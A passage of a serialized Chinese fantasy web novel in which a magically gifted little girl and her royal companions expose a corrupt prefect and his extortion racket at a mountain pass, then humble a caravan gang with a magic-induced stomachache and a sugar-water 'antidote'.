“去靖亲王府传朕口谕。朕记得,老七办差得力,朕把城西的皇庄赏给他了。”
“你告诉他,庄子上今年新出的第一批时鲜瓜果,就别往他自己府里送了,直接给朕送进宫里来。”
程公公心领神会,忍着笑躬身应下。
听到父皇口谕的萧泽:“我庄子上的瓜果?……”
越往西北腹地去,山路越多。
团团的马车沿着崎岖的山路缓慢前行,两侧林木葱郁,山崖陡峭,风光与京城已然大不相同。
路越来越窄,最终在一处名为“一线天”的险要山口处慢了下来。
前方道路被天然形成的巨石狭缝扼住,仅容一辆马车勉强通过。
此刻,狭缝前却被人设了路障,十几个精壮的汉子或抱臂或叉腰地堵在那里,个个面带戾气。
一个头目模样的瘦高个,正大马金刀地坐在一张太师椅上,翘着二郎腿,眯着眼打量着一辆辆被拦下的车马。
路障旁,一个挑着担子的小贩正苦苦哀求着他,声音都带上了哭腔:“马爷,马爷您行行好!我这担蜜饯拢共也值不了几个钱!”
“二十文的路费,实在是太多了,我真的拿不出来啊!家里的娃还等着我卖了这担子货买米下锅呢,马爷!您抬抬手,给条活路吧!”
马爷眼皮都没抬,嗤笑一声:“王老五,你也不是头一回从我这里过了,怎么次次打饥荒呢?”
“规矩就是规矩!别说你卖蜜饯,就是卖人参,只要是从这一线天过,就
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得按规矩交钱!没钱?行啊,货留下,人滚蛋!”
王老五脸色惨白,两个汉子懒洋洋地冲着他走过去,作势要抢他的担子。
王老五护着自己的担子不肯撒手:“各位爷!容我去把这担子货卖了行吗?卖了我再回来把这二十文补上!”
萧宁珣眉头微蹙,这伙人并非官府差役,却在此设卡收费,与强盗何异?
萧然更是按捺不住,他少年心性,最见不得这等欺压良善之事,掀开车帘便想下车。
团团趴在车窗边,大喊道:“喂!卖蜜饯的叔叔!你那个蜜饯看起来很好吃的样子,拿过来!我都买啦!”
萧宁珣面露微笑,正想冲出去的萧然:“……”
小贩一听,喜出望外的挑着担子跑到了车窗前:“小姐!您真的全买了?”
团团一脸奇怪:“对啊!怎么?难道不好吃吗?”
担子里红艳艳的果脯沾着雪白的糖霜,看着便十分诱人。
小贩急忙用纸包起了几块递到窗边:“您尝尝!不好吃我不要钱!这可是我家祖传的手艺呢!”
团团拿起一块放在口中,酸甜的滋味瞬间在嘴里晕开:“真好吃!我都买啦!一共多少银子?”
“一两银子就够。”小贩急忙将担子上的蜜饯都包好,递给萧二,“这位爷您拿好,这蜜饯能放上个把月都不会坏的,您几位慢慢可以吃。”
团团边吃边点头:“真好!二叔叔,给这个叔叔拿二两银子吧,他家里还有娃呢,给娃多买些好吃的。”
萧二掏出二两银子交给小贩,冲着前方关卡处那些人抬了下小巴:“交了钱,赶紧回家去吧!”
小贩千恩万谢地收起扁担,跑到前面,交了钱,过关而去。
马车继续缓慢向前,终于,来到了马爷的面前。
他早已注意到了方才小贩的事,冲着手下众人使了个眼色。
一名壮汉走上前来,粗声粗气地敲了敲车辕:“规矩懂不懂?所有车马货物,一律过秤,按价缴费!”
萧二斜了他一眼:“什么价?”
那汉子眯着眼打量了一下眼前的马车,虽不华丽,但用料扎实,拉车的马都与别家的不同。
他砸吧了一下嘴:“啧啧,这车嘛,二百文!马,每匹一百!车里的人,按人头算,一人二百文!若有货物,另算!”
第250章 自己驾车去坐牢
这价儿,比京城的入城税都高了数倍,简直就是明抢!
萧然忍不住了,掀开车帘跳下车:“你们好大的口气!光天化日,谁给你们的权力在这里设卡收费?”
马爷抬眼打量了一下萧然,穿得还行,年纪不大口气倒不小!
他阴阳怪气地道:“哟,这是哪家的小公子哥儿,跑到这儿来管闲事?这一线天的规矩,就是老子定的!天王老子来了,也得交钱!”
“你!”萧然何曾受过这等气,尤其还是在团团的面前!
他的脸瞬间涨红:“你知道我是谁吗?我是……”
马爷猛地一拍椅子扶手,打断了他,厉声喝道:“我管你是谁!到了爷这一亩三分地,是龙你得盘着,是虎你得卧着!不交钱,谁也甭想过去!”
他手一挥,周围那十几条汉子立刻围了上来,手里都拿着棍棒柴刀,气氛瞬间剑拔**张。
陆七跳下马车,冲着萧然低声道:“回车里。”
萧然却不听,拉开了架势,想要同这些人亲手干上一架。
萧二看了他一眼,直接握住他的双肩,将他举起放进了车里。
萧然气得满脸通红,但到底没再冲下车去,抱着胳膊坐在车里生闷气。
团团问道:“他们收钱不对吗?”
萧然气哼哼道:“别说他们都未穿官府的衣裳,看不出来是不是本地衙门口的人。”
“就算是,收的也太多了,小不点儿!你不知道,他们收的比父皇都多!”
萧宁珣皱着眉头:“若是官府的人,岂能不穿官服?既不是官府的人,又为何敢在这里公开收钱?还如此理直气壮?”
团团点了点头,似懂非懂。
车外,萧二上前一步,同陆七并肩而立,眼看着对方手持利器,狞笑着慢慢围拢上来,刚想开打。
“都住手!何人胆敢在此处喧哗**?”
一声颇有官威的断喝从人群后方传来。
围观的人群如同潮水般分开,只见一名身着青色官服、腰挎朴刀的班头,领着足足二三十名手持水火棍的衙役,气势汹汹地涌了过来。
他们胸前绣着的“捕”字,看起来格外显眼。
马爷一见来人,立即换上了一副谄媚的笑容,小跑着迎了上去,躬身行礼:“赵班头!您老怎么亲自过来了?一点小误会,惊动了您的大驾,可是小人的不是了!”
赵班头看了一眼萧二和陆七,又看了眼他们身后的马车,问道:“这是怎么回事儿?”
萧二抱拳,不卑不亢地将方才马爷如何强收高价“路引费”,如何出言不逊,乃至最后欲动手伤人的经过,讲了一遍。
“我等只是过路行人,并非有意生事,实在是这位的‘规矩’过于苛刻,难以接受。”
赵班头听罢,板起了脸,看向马爷,呵斥道:“马大强!府尊大人念你等熟悉本地情由,特许你们在此协理山口,安靖地方。”
“收些许辛苦钱,贴补家用,你等怎能如此肆意妄为!败坏官府的名声?”
他此言一出,周围的行商百姓,脸上顿时都露出惊喜之色。
“可算是来人管管了!”
“可不是嘛!这些人在这里太无法无天了!”
“青天大老爷终于来了!”
连车里的萧宁珣和萧然都微微松了口气,就是啊,朝廷的官员呢?不可能如此纵容这些人横行霸道啊!
赵班头听着周围的议论,脸色一变。
他眼神冰冷的看向萧二和陆七:“不过嘛,几位一看便是外地来的体面人,不懂我们这穷乡僻壤的难处。”
“马大强他们在此风吹日晒,协理官府,着实辛苦。”
“些许银钱,于诸位而言不过是九牛一毛,行个方便罢了,何必在此争执,徒惹是非呢?”
他皮笑肉不笑地上前两步,声音拔高:“若是几位实在手头不便,不愿按规矩缴费,那也好办。”
“就只好请几位随本班头回府衙一趟,去大牢里坐坐了。”
他话音刚落,身后那几十名衙役齐刷刷上前一步,手中水火棍同时“咚”的一声顿地,发出沉闷的巨响,气势惊人。
马大强那群人的脸上立即露出了毫不掩饰的得意和讥讽。
直到此刻,所有人才彻底明白,这哪里是什么主持公道?
这分明是就是*
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*一家!只不过是一个唱红脸,一个唱白脸!
萧然在车里气得掏出了自己的皇子令牌就想冲出去。
萧宁珣一把拽住了他:“这是团团的马车!你的马车还在后面没过来呢!你若是这时候亮了身份,这辆车就要被人盯上了。”
团团以为自己听错了:“三哥哥,他们是想送咱们去大牢里吗?”
萧宁珣点了点头:“看来这个马大强与本地官府互相勾结,中饱私囊是肯定的了,只是不知道他们这样干了多久,收了多少银两。”
“若是有他们的罪证就好了,萧然的皇子令牌就能派上用场了。”
团团眼珠一转:“那还不简单,三哥哥,你坐过牢吗?”
萧宁珣一怔:“没有!”
团团笑了:“我也没有!那咱们一起去大牢里看看吧。”
萧然不乐意了:“小不点儿!你让我一个皇子去坐牢?”
团团瞪了他一眼:“我这个镇国郡主都能坐,你怎么不行?”
萧然哑火:“……”
萧宁珣看着妹妹:“团团,你是想?”
团团拉起他的手:“还是三哥哥聪明!”
萧然看着兄妹两人,一脸茫然。
团团掀开车帘喊道:“喂!是你们谁说送我们去牢房里的?我现在就想去!我还没去过呢!大牢里好玩吗?”
赵班头都被她气乐了:“真是不知死活!大牢都想去试试!好!来人!将他们押送府衙!”
团团才不听他的:“我们自己有马车,不用你们!府衙在哪儿?你们带路就行,我们自己去!”
“胡闹!”赵班头活了半辈子就没听过这种要求,气得额角青筋直跳。
他身后几个年轻的衙役更是忍不住扭过头去,肩膀微微耸动,拼命憋笑。
赵班头怒了:“我当差这么多年,还没见过自己驾着马车去坐大牢的!来人!”
衙役们刚想一哄而上,萧二和陆七两人站在车前,作势便要拔刀:“要么听我们小姐的,要么就让你们见识见识!”
赵班头看了看两人,犹豫了片刻后:“好!老子今日便开恩,容你们自己驾车去坐牢!”
第251章 我先试试手感
几十名衙役前呼后拥地跟在团团的马车周围,一路招摇过市,停在了府衙大牢阴森的黑漆大门前。
车门打开,团团率先出来,一手拉着三哥哥,一手拽着满脸不情愿的萧然,一蹦一跳地跟着衙役往昏暗的牢门里走去。
萧二和陆七将马车停好,紧随其后。
牢内光线晦暗,空气中弥漫着霉味与一丝若有若无的血腥气。
一行人被径直带到了最靠里的一间囚室。
“都进去!”狱卒哗啦一声打开沉重的铁锁,没好气地吼道。
几人鱼贯而入。
狱卒冷哼一声,“哐当”一声锁死牢门,脚步声渐渐远去。
萧然站在囚室中央:“小不点儿,咱们还真来坐牢啊?”
“别急嘛!”说完,团团低下头,解开腰间绣囊,从里面掏出了一小块碎瓦片。
萧宁珣立刻会意,上前一步将妹妹的身子严严实实地搂进怀里,用自己宽大的衣袖和后背,挡住了旁人的视线。
团团嘟囔了一句:“让我们出去!”将瓦片往脚下一扔。
微光闪过,瓦片消失无踪。
“咔嚓……窸窣……”
一阵细微的碎裂声自他们身后的墙壁内部传来!
众人猛地回头,惊讶地看着那原本看似坚实无比的青砖墙壁表面,正诡异地不断凸起、凹陷,仿佛有什么无形的力量正在内部疯狂地冲击,啃噬。
砖石的碎屑簌簌落下来,不过片刻的功夫,那令人不安的动静戛然而止,墙壁恢复了平静,只是表面多了一些不规则的细微痕迹。
团团从三哥怀里钻出来,走到那面墙壁前,伸出小手,对着墙壁正中用力地一推。
“吱呀——”
一声轻响,那面坚实厚重的墙壁,中间约一人高、半人宽的地方,竟如同虚掩的门扉一般,被她轻轻松松地推开了一道缝隙!
后面露出的,已不再是砖石,而是一个不知通向哪里的偏僻巷道!
“走啊!”团团回过头,一脸得意的对着目瞪口呆的萧然和陆七招了招手。
萧宁珣和萧二早已习惯,侧身从那道诡异的“墙壁门”中钻了过去。
陆七深吸了口气,压下心中的惊涛骇浪,紧随其后。
萧然嘴巴张得能塞进一个鸡蛋,被萧二轻轻推了一把,才如梦初醒,晕乎乎地跟着钻了过去。
就这样,几人在这防守森严的县衙大牢深处,堂而皇之地“破墙而出”,走进了昏暗的偏僻巷道之中。
往前走了几步后,团团忽然抬起小脸,扯了扯萧宁珣的衣袖:“三哥哥,你说的那个能治他们罪的东西,是不是一个本子?”
萧宁珣压低声音:“对,就是账本。有了它,才能知道他们干了多久,贪了多少银子。凭此铁证,治罪方能服众。”
“啊!那个东西呀,”团团小嘴一咧,“就在那个坏蛋大官的书房里呀!靠墙的那个多宝阁上,有个红木盒子,盒子里面还有个小小的黑盒子,就在那里面放着呢!”
萧然瞪大了眼睛看着她:“小不点儿,你怎么知道?你去过?”
团团小脑袋一歪:“我就是知道呀!”
一旁的陆七看着自家这位小令主,只觉得不可思议的事情越来越多了。
萧二早已见怪不怪,我家小姐就是厉害!
“既然小姐知道确切所在,那便好办了。”
他扫视了一下周遭环境:“大牢一般位于府衙西南角,内衙书房,按常理应在东南方位。属下这就去一趟,片刻便回。”
他说完便欲动身,却忽然想起什么,回头看向团团:“小姐,属下取了账本回来,还回那牢房找你们吗?”
萧然的脸色瞬间垮了下来,还去?我才不去呢!
萧宁珣忍不住以手扶额,哭笑不得:“不必啦,不用回去了。”
团团也笑了:“二叔叔,有了那个东西,萧然就可以用他的令牌,去教训那些坏蛋啦!”
萧然眼睛都亮了,终于轮到我大杀四方了!
“对!小不点
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儿说得对!我要去大堂!你拿到账本直接送到大堂!我要升堂问他们的罪!”
萧二点头:“好!”
“等等!”萧然喊住了他。
“何事?”
萧然不好意思地笑了笑:“大堂在哪儿?”
萧二:“……”
萧宁珣冲着萧二摆手:“别理他,快去吧。”
萧二转身离开。
萧然不干了:“你让他别理我,可我连大堂在哪儿都不知道,怎么圣堂问罪啊?”
萧宁珣叹了口气:“大堂是审案的地方,官府为示公平,经常允许百姓可以围观,所以,大堂都设在一进大门的地方。”
“九殿下啊,你好歹也是个皇子,怎么连这都不知道?”
萧然讪讪一笑:“我当然知道啊!就是,一时没想起来。”
团团冲着他刮着小脸蛋:“这都不知道!羞羞!”
萧宁珣牵起团团的小手:“走,咱们去大堂等他。”
萧然问道:“要不要先找找那狗官在哪?”
“不必,”萧宁珣神色从容,“我们直接去大堂,等萧二拿来账本,自会有人去请他过来。”
陆七闻言,眼底闪过一丝赞赏。
宁王府这位三公子心思可以,这一手“反客为主”用得妙极,不用去找,而是让他们主动来见。
几人沿着墙根阴影前行,不过片刻,一座飞檐斗拱、庄严肃穆的建筑出现在眼前。
门楣上“明镜高悬”的匾额泛着微微的冷光。
大堂内此时空无一人,只有两排水火棍静静立在墙边。
团团“噔噔噔”跑上台阶,好奇地摸了摸冰凉的公案,又踮起脚去够案上的惊堂木。
萧然见状,一个箭步冲了上来,端端正正坐在正位上,抢先抓起惊堂木,用力“啪”地一拍!
清脆的响声在空荡的大堂里回荡,把他自己都吓了一跳。
“你做什么?”萧宁珣扶额。
萧然强装镇定,耳根却红了:“我、我先试试手感!”
第252章 那咱们就去跟他讲道理吧
团团看着好玩,也挤到了萧然的身旁,两人一起坐在当中。
门外传来一阵急促的脚步声。
赵班头带着一群衙役冲了进来,一见堂内情形,又惊又怒:“你们怎么出来的?竟敢擅闯公堂!”
萧然正了正衣襟:“叫你们知府速速来见!”
赵班头像是听到了天大的笑话,狞笑一声:“小兔崽子戏文看多了吧?给我拿下!”
衙役们刚要上前,一道黑影从天而降,“咚”的一声落在公堂中央,正是去而复返的萧二。
他将一个黑铁盒放在案上:“小姐,账本在此。”
萧然眼睛一亮,抓起惊堂木就是“啪”的一拍:“人赃并获!还不速速传知府上堂!”
赵班头脸色骤变,厉声道:“竟然敢偷大人的东西!格杀勿论!”
“何人胆大包天,敢咆哮公堂?”
一个穿着官袍、留着山羊胡的中年男子快步走了进来,正是本地知府黄廉发。
他本在后堂休息,被惊堂木和吵闹声惊动,出来一看,气得胡子直抖:“何人在此喧哗?啊!我的账……我的盒子!”
他死死盯住萧然手中的铁盒,脸色瞬间变白。
萧然得意地晃了晃盒子:“哟,认识啊?那正好,说说这里面装的什么?”
黄廉发强自镇定:“不过是本官一些私物。尔等擅闯公堂、**府衙公物,赵班头,还不动手!”
“私物?”萧宁珣上前一步,从萧然手中接过盒子打开,取出里面一本薄薄的册子,随手翻动。
“今岁马大强路费,初一,三十两,初二,十五两……”
“一月初八,赵班头取五十两……”
“一月二十,布政使大人处三百两……”
他每念一句,黄廉发和赵班头的脸色就白一分。
待到“布政使大人”出口,黄廉发已经忍不住大喊:“假的!都是假的!这账本是你们伪造的!竟敢蓄意构陷朝廷命官!你们到底是什么人?”
萧然等的就是这句话。
他慢条斯理地从怀中掏出自己九皇子的龙纹金令,“当”一声扔在公案上。
“睁大你的狗眼看清楚,”萧然扬起下巴,终于轮到自己威风凛凛了!“看看我是谁!”
“哐当——”赵班头手中的腰刀掉在地上。
他双腿一软,跪倒在地,整个人抖如筛糠:“皇,皇子?”
黄廉发死死盯着那块令牌,扑通一声跪倒:“下,下官参见九皇子殿下,不知殿下大驾光临,下官罪该万死!”
团团扭头看了一眼萧然:“原来,你也这么值钱啊!”
萧然刮了她的小鼻子一下:“你刚知道啊!”随即正襟危坐,哼了一声:“你纵容匪徒盘剥百姓,从中盈利,确实是罪该万死!”
黄廉发冷汗涔涔而下,嘴唇哆嗦着强辩道:“下官实有苦衷啊殿下!那马大强,他是西岭马帮的人啊!”
“殿下初到此地,不知就里。西岭马帮盘踞西北山地,掌控马匹要道,下官不过区区一介知府,实在是迫于他们的**,不得已而为之啊!”
他跪在地上,声泪俱下,仿佛自己才是受害者:“这些都是他们逼下官做的!下官若是不从,只怕、只怕性命早已不保了!”
“好一个‘不得已而为之’!”
萧宁珣满面怒容,上前一步:“马帮是江湖人,你是朝廷命官,是此地万千百姓的父母官!”
“你若当真为难,大可上报州府,请兵围剿,难道朝廷会坐视不理?”
“你若为官刚正,也可紧闭城门,严查路引,他们又能奈你何?”
他目光如炬,死死盯着抖成一团的黄廉发,字字诛心:“但你什么都没做!”
“非但没做,反而将朝廷赋予你的权柄,化作他们敛财的刀!”
“你躲在官袍之后,任由他们在前面为你冲锋陷阵,欺压良善,而你,却安然坐在府中,将大把的银子收入囊中!”
“这,就是你所谓的‘苦衷’?”
这一番话,如同利刃,将黄廉发的遮羞布彻底撕碎。
他再也支撑不住,瘫软在地,面如死灰。
团团拍着小手,一脸崇拜地看着自家三哥:“三哥哥真棒!”
萧然大呼痛快:“说的好!”
他挺直腰板,拿出了自己皇子的威仪:“来人!将此贪官,连同那个姓赵的班头污吏,一并收押!待我禀明父皇,再行发落!”
衙役们冲了上来,将烂泥般的黄廉发和赵班头拖了下去。
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尘埃落定,萧然只觉得胸中一口恶气尽出,畅快无比。
陆七走到团团身边,躬身低语:“令主,这个西岭马帮可不一般哪。”
“嗯。”团团正兴高采烈地看着两个坏蛋被拖走,“嗯?”
“方才那个知府说,那个收钱的马大强,是西岭马帮的人。”
“这西岭马帮,掌控着西北六成以上的陆路货运,势力盘根错节,在这片地界上,堪称地头蛇中的地头蛇。”
“几乎所有的商旅货物,想要进出西北,多半绕不开他们。”
他微微一顿,声音压得更低:“郡主想查的,连**所用‘铁线木’很有可能跟他们有关系。”
团团的眼睛瞬间亮了起来:“七叔叔,那咱们去找那个马大强,问问他去!”
陆七一怔:“啊?直接去问?”
团团理所当然:“对啊!不然呢?”
陆七:“一般来说,按江湖规矩,都是暗中追踪探访……”
团团一脸奇怪:“那多慢啊!直接去问不就行啦!”
陆七:“……”
令主怎么不按常理办事呢?
好,既然令主有令,那便去!
陆七去问清楚了马大强的落脚处:“令主,马大强那伙人,平时都聚在一家小酒馆里。”
事不宜迟,一行人火速动身。
路上,陆七向所有人简单讲了一下这个西岭马帮。
“这西岭马帮的现任帮主,名唤谢孤舟。”
“此人极重信誉,立下的规矩,说一不二。”
“西岭马帮原来不过是西北一个不入流的小帮会,在他的手上才做到了今日的地位。”
“正因如此,他的手段也极为狠辣强硬,但凡有人敢坏他的规矩,动他的货物,他报复起来,绝不留情,动辄便是灭门之祸。”
众人闻言都是一惊。
陆七看了一眼团团,斟酌着用词:“这么说吧,他就是个讲道理的疯子。”
“万事只要合他的规矩,一切都好说,可一旦越线,便是天王老子,他也敢碰一碰。”
萧然在一旁听得直咂舌:“这么横?”
萧宁珣的眉头微微蹙起。
唯有团团,兴致勃勃:“七叔叔,那咱们就去跟他讲道理吧!”
第253章 先去行个方便
说话间,一家门前挂着破旧酒旗、看上去颇有年头的酒馆已出现在眼前。
门楣上,歇马驿三个字历经风雨,显得有些斑驳。
馆内人声嘈杂,隐约可见几十个精悍的汉子正在里面喝酒划拳,气氛与寻常酒馆无异,只是颇有一股子剽悍之气。
陆七停下脚步:“令主,就是这里。”
突然,他想起了什么,俯身在团团耳边轻声问道:“令主,你神通广大,是否能让他们的马同时都拉肚子?”
团团皱起小眉头:“应该是可以,可是为什么啊,七叔叔?”
陆七心想,果然,令主真是厉害,这都能做得到!
“西岭马帮从不欺压百姓,这次的事,显然是马大强私下犯了规矩,咱们可以此为切入,询问他们铁线木一事。”
“西陵马帮雄踞西北,靠的就是路和马。若是他们的马同时都不能动了,令主便可以以此为要挟,问什么他们应该都会老老实实的答了。”
“哦!明白了。”
众人走了进去,人声嘈杂,浓烈的酒气与汗味混杂在一起。
萧二走到掌柜的面前,朗声道:“来个能管事的出来说话。”
原本喧闹的酒馆顿时安静下来,几桌正在划拳的汉子停了手,目光不善地打量着这群不速之客。
柜台后的掌柜是个精瘦的中年人,眼皮一抬,放下手中的算盘,满脸堆笑:“几位客官,喝茶还是吃酒?若是用饭,里边请。”
陆七上前一步,目光平静地看着他:“我们为马大强的事而来。”
掌柜脸上的笑容瞬间淡了几分,眼底闪过一丝警惕,上下重新打量了几人一番,尤其是被萧宁珣牵着的,正好奇的东张西望的团团。
“几位面生得很,”掌柜语气依旧客气,却带上了疏离,“马爷的事,我们这小店可做不了主。”
陆七语气不变:“你做不了主,便找个能做主的出来。”
他手腕一翻,亮出了天机阁的令牌。
竟是天机阁的玄机使!
掌柜的瞳孔微缩,沉吟片刻,冲旁边一个伙计使了个眼色。
那伙计会意,快步转进了后堂。
没过多久,后堂门帘一掀,一个身着褐色短打、约莫三十多岁的汉子走了出来。
他身材并不魁梧,但步履沉稳,太阳穴微微鼓起,一双眼睛精光内敛。
萧二同陆七互相看了一眼,此人一看便是个内家高手,二人不约而同地都加上了几分小心。
掌柜的恭敬地唤了一声:“三爷。”
三爷点了点头,目光落在陆七身上,抱了抱拳:“在下窦三,西岭马帮三当家,朋友是哪条道上的?”
说话间,他眼神扫过众人,在团团身上略微停顿,最后又回到了陆七脸上。
陆七回了一礼,不卑不亢:“窦三爷,幸会。”
“贵帮的马大强在山口强收钱财,惊扰了我家令主。此事,贵帮是否该给我们一个交代?”
窦三斜睨了他一眼,他在这里横行惯了,何时被人如此当面顶撞过?尤其还是当着这么多手下的面。
“交代?”他嗤笑一声,下巴微微抬起,“马大强确实坏了规矩,但自有我马帮的家规处置,还轮不到外人指手画脚!至于你们……”
他目光阴冷:“看在你们初来乍到,还带着个女娃的份上,现在立刻滚出老子的地盘,老子可以当什么都没发生过!否则……”
他话说到这里,酒馆里几十名帮众心领神会,齐齐站起,上前一步,棍棒刀剑都握在了手中。
萧然脸色发白,萧宁珣将妹妹往身后护得更紧。
萧二和陆七暗自凝神,准备随时出手。
团团解开腰间绣囊,从里面掏出了什么,攥在手心里,轻轻扯了扯陆七的衣角。
陆七心念微动,立刻俯身侧耳。
团团问道:“七叔叔,你刚才说,让他们的马都拉肚子对吗?”
陆七回道:“是,令主。这是最管用的方法。”
两人虽然声音不高,但屋内多的是高手,自是听得一清二楚。
不禁都扭头看向了二人。
团团用力摇头:“七叔叔,马儿又没做错事,让它们拉肚子多可怜呀,它们会很难受的。”
她顿了顿,抬起小脸,大眼睛看着面前这群凶神恶煞的汉子:
“不讲道理的是他们,要难受,也该是他们才对啊!”
陆七:“……”
好有道理!
他强忍笑意,险些没能绷住脸上的表情:“令主英明,是属下思虑不周。确实,该罚的是这些人。”
团团把手放到后背,靠在三
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哥身上,低声嘟囔了一句:“让马帮的人一起拉肚子!”小手一松。
萧宁珣紧紧地揽着她,眼角瞥见,一小片叶子从妹妹的手中落下,微光一闪,消失在半空。
窦三气不打一处来:“你们上门来踢场子,还敢当着老子的面大放厥词!真当老子是泥捏的?”
他彻底失去了耐心,猛地一拍桌子,怒吼道:“给老子……”
他那句“给老子往死里打”还没喊出口,脸上的表情瞬间凝固,狰狞顿失,取而代之的是一脸的错愕和窘迫。
他的腹部正传来一阵剧烈的绞痛和翻江倒海之感!
强烈的便意来得如此凶猛迅疾,仿佛积蓄了许久刚好在此刻轰然爆发,让他完全无法抵抗!
不只是他,几乎是同一时间,那几十名手拿刀剑棍棒,准备一拥而上的大汉,也齐刷刷的脸色大变!
“唔……我,我的肚子!”
“哎哟!不行了!”
“茅厕!快让开!我要去茅厕!”
此起彼伏的痛呼声和惊呼声瞬间爆起。
刚才还气势汹汹凶神恶煞般的几十条壮汉,此刻一个个都面色扭曲,死死捂住了肚子。
有的夹紧双腿寸步难移,有的已经顾不得许多,疯狂地推搡开身边的人,争先恐后地朝着酒馆后院的茅厕方向冲去。
更有甚者眼见茅厕无望,直接捂着肚子踉跄着冲出了酒馆大门,寻找任何可以解决的角落。
方才还剑拔**张的酒馆,转眼间就变得一片狼藉,只剩下满地的各种兵器,转眼间人便都没影了。
窦三爷是其**力最深、也是忍耐力最强的一个。
但他此刻也是额头青筋暴起,冷汗涔涔,双腿紧紧地夹着,用尽了毕生的意志力才勉强站在原地没有失态。
他一脸惊骇地看向团团,是这个女娃娃,一定是她!
她刚刚说的话,竟然便成了真了!
团团睁着一双无辜的大眼睛回瞪着他。
萧然早已捂着嘴笑出了声。
萧宁珣嘴角微微抽搐,一时竟不知该作何表情。
陆七强压下心中的震撼,上前一步,看着脸色惨白、强自支撑的窦三:
“窦三爷,现下,可以心平气和地谈一谈马大强的事了吗?或者,您也要先去行个方便?”
第254章 世间罕见的高手
窦三虽说内力深厚,却已难以忍受:“失陪。”
他转身冲了出去,以最快速度解决了“人生大事”,脚步虚浮地回到了酒馆里。
他看向被众人护在中间的团团,脸上惊疑不定。
这个小女娃定是一个世间罕见的用毒高手!
自己行走江湖多年,竟不知是何时着的道!
他默默运起内力,试图逼出体内的“毒素”,却发现除了肠胃不适,经脉却畅通无阻。
令他更加心惊,这是什么毒?竟如此诡异?
莫非,腹泻只是此毒的初期病症?厉害的还在后面?
窦三目光闪烁,死死地盯着团团:“你究竟用的是什么毒?”
团团一怔,眨巴着大眼睛,一脸无辜:“毒?没有呀,就是让你们的肚子疼一下下,多跑几趟茅厕就好啦。”
“哼!”窦三根本不信,脸上露出一丝“我懂”的惨笑,“阁下不必再戏弄窦某了。”
“内力探查不出,症状却如此凶急,必是极为刁钻的剧毒!窦某行走江湖多年,这点眼力还是有的。阁下如此年幼,用毒的功力竟以至化境!“
“栽在阁下这等高手手中,窦某认了!”
团团:“……”
萧宁珣、陆七等人:“……”
萧然却眼睛一亮,这误会妙极了!让你方才那么狂妄!
“咳咳。”他正了正脸色,“哼!算你还有点见识!告诉你,我家小不点儿这毒,无色无味,无形无迹,你走遍天下也找不到解药!”
“你们若是不想肠穿肚烂而死,就老老实实将我们想知道的全说出来!”
众人齐刷刷横了萧然一眼。
团团更是冲他翻了个大大的白眼,小嘴撅得老高。
窦三却被萧然这番话彻底震住了,果然!腹泻只不过是第一步!肠穿肚烂?他的脸色更白了几分。
他咬了咬牙,江湖气倒是还在:“既然栽了,按道上的规矩,我认栽!你们既有如此本事,马大强那点过路费的破事,绝不可能劳动大驾。说吧,到底想知道什么?”
团团见他终于肯好好说话,走到他面前,仰起小脸问道:“窦叔叔,你们运货的时候,有没有见过很多很多的铁线木呀?”
“它们是从哪里来的,要运到哪里去?是谁让你们运的?”
“铁线木?”窦三瞳孔微缩,面露难色,“这……”
萧然见状,立刻在一旁阴恻恻地道:“不想要解药了?”
萧宁珣低头扶额,萧二和陆七紧紧抿住嘴唇。
窦三浑身一颤,犹豫了片刻,最终颓然道:“罢了!此事也并非什么绝密,只是这批货的生意是青州府那边接的。”
“由那边的大掌柜亲自掌管,我在此地,只负责协调部分路段的人手马匹,具体来源和去向,我确实不知。”
“青州府?”团团抓住了关键,追问道:“你不知道,谁知道?我去找他问!”
窦三看着眼前这个一脸天真,出手却“狠辣“的小女娃,心里一阵发毛,只想赶紧把这尊瘟神送走。
“青州府的大掌柜,名唤谢孤舟,你们到了那里,去城西的‘长风货栈’,应当能找到他。”
西岭马帮现任帮主谢孤舟!
几人互相看了一眼,这些铁线木,莫非是这位谢帮主亲自接下来的?
窦三对着团团抱了抱拳:“小姑娘,不,小高人!窦某所知已尽数相告,绝无隐瞒。还请阁下高抬贵手,赐下解药。”
团团的眉头都快拧成了疙瘩:“都说了没有解药呀!就是肚子疼一下,拉几次就好啦!”
窦三闻言,脸上血色尽褪,浮现出“果然如此”的惨然。
他环顾四周,只见那些解决完“人生大事”的兄弟们正互相搀扶着,东倒西歪地靠在桌椅旁捂着肚子,显然仍旧在忍耐着腹痛。
他深吸了口气,对着团团深深一揖:“小高人,窦某明白了。定是窦某方才言语狂妄,触怒了您,你不愿给窦某解药,窦某认了!”
“但我这些兄弟是无辜的!他们只是听命行事,还请您大发慈悲,把解药给他们!窦某愿听凭处置!”
那些马帮的汉子们听了,纷纷激动起来。
“三爷!咱们不求她!”
“对!咱们有福同享,有难同当!”
“不就是拉肚子吗!老子顶得住!”
“要死一起死!”
“老子不用解药!”
一时间,酒馆内群情激昂,倒是颇有几分江湖义气。
萧二和陆七对视了一眼,这些人行事虽霸道,但关键时刻,这份不愿独活的义气,
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倒也算是条汉子。
团团急得跺了下小脚。
她看看这个,又看看那个,他们怎么就是不信呢!
我得给他们个什么东西说是解药才行!
突然,她眼睛一亮,“噔噔噔”跑到柜台边,踮起脚,抱起柜台上的大茶壶。
掀开壶盖,她解开绣囊,掏出一个小纸包。
她小心翼翼地打开纸包,将里面雪白的,细如盐粒的颗粒,一股脑儿倒进了茶壶里,然后抱着茶壶使劲晃了晃。
她将茶壶往窦三面前一推:“喏!这就是‘解药’!一人喝一口就行啦!”
窦三看了眼那壶茶,再次拱手:“多谢!诸位,请吧!”直接下了逐客令。
团团拉起三哥的手就往外走,萧然紧随其后。
萧二和陆七断后,一行人走出了酒馆。
萧然迫不及待地凑到团团身边:“小不点儿!快告诉九哥,你刚才往茶壶里倒的到底是什么?”
团团冲着他狡黠一笑:“就是糖霜啊!咱们来的时候,我买的蜜饯上的!”
萧然:“……哈?”
萧宁珣一个趔趄,险些摔倒。
连一向沉稳的陆七和萧二,嘴角都忍不住狠狠抽搐了一下。
所以,那帮视死如归、感天动地的汉子,接下来要排队喝的“解药”,就是一壶糖水?
一想到那群彪形大汉怀着悲壮的心情,轮流喝糖水的场面。
萧然再也忍不住,捂着肚子爆发出一阵惊天动地的大笑:“哈哈哈哈!小不点儿!你可真是!哈哈哈哈!”
众人走到府衙门口。
团团抬手一指自己的马车:“我要回车上!“
萧然道:“回车上干嘛?咱们找家最大的客栈去!”
团团冲着三哥伸开手:“我累了,三哥哥,咱们坐着马车去找客栈吧。”
萧宁珣俯身将她抱起:“好!”
几人走到马车前,萧宁珣抱着团团刚想上车,陆七突然拉住了他们,手指放到嘴边,作势“嘘。”
